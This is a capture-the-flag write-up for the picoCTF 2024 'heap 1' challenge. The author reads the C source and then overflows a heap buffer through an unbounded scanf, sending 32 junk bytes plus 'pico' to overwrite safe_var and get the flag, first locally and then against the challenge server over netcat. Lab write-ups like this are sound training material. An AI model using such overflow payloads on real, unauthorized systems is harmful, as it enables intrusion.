Level: Easy
Tags: picoCTF 2024, Binary Exploitation, browser_webshell_solvable, heap
Author: ABRXS, PR1OR1TYQ
Description:
Can you control your overflow?
Download the binary here.
Download the source here.
Connect with the challenge instance here:
nc tethys.picoctf.net 51438
Hints:
1. How can you tell where safe_var starts?
Challenge link: https://play.picoctf.org/practice/challenge/439
We start by analysing the rather long C source code. First the main
function.
int main(void) {
// Setup
init();
print_heap();
int choice;
while (1) {
print_menu();
if (scanf("%d", &choice) != 1) exit(0);
switch (choice) {
case 1:
// print heap
print_heap();
break;
case 2:
write_buffer();
break;
case 3:
// print safe_var
printf("\n\nTake a look at my variable: safe_var = %s\n\n",
safe_var);
fflush(stdout);
break;
case 4:
// Check for win condition
check_win();
break;
case 5:
// exit
return 0;
default:
printf("Invalid choice\n");
fflush(stdout);
}
}
}
Main basically does the following:
- Initialize the heap by calling the
init
function - Print the contents of the heap with the
print_heap
function - Print the menu with the
print_menu
function - Read the menu choice, basically 1-4, and do different things based on the choice
The check_win
function (menu choice 4) will print the flag for us if we have managed to change the contents of the safe_var
variable to pico
void check_win() {
if (!strcmp(safe_var, "pico")) {
printf("\nYOU WIN\n");
// Print flag
char buf[FLAGSIZE_MAX];
FILE *fd = fopen("flag.txt", "r");
fgets(buf, FLAGSIZE_MAX, fd);
printf("%s\n", buf);
fflush(stdout);
exit(0);
} else {
printf("Looks like everything is still secure!\n");
printf("\nNo flage for you :(\n");
fflush(stdout);
}
}
Let's skip the rest of the source code for now and try out the binary.
Next, we run the binary
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2024/Binary_Exploitation/heap_1]
└─$ ./chall
Welcome to heap1!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x5623223f06b0 -> pico
+-------------+----------------+
[*] 0x5623223f06d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice:
The difference between the memory positions is 32 bytes.
Let's write say 32 bytes of junk data followed by pico
Enter your choice: 2
Data for buffer: AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDpico
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x5623223f06b0 -> AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDpico
+-------------+----------------+
[*] 0x5623223f06d0 -> pico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 4
YOU WIN
zsh: segmentation fault ./chall
Success, we managed to overwrite safe_var
with the correct value.
The segmentation fault error is due to the fact that no flag.txt
file exists in the directory.
The cause is the unbounded use of scanf (scanf("%s", input_data);
) in the write_buffer
function.
Finally, we connect to the site vith netcat and follow the same procedure
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2024/Binary_Exploitation/heap_1]
└─$ nc tethys.picoctf.net 51438
Welcome to heap1!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x561d1306b2b0 -> pico
+-------------+----------------+
[*] 0x561d1306b2d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 2
Data for buffer: AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDpico
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 4
YOU WIN
picoCTF{<REDACTED>}
For additional information, please see the references below.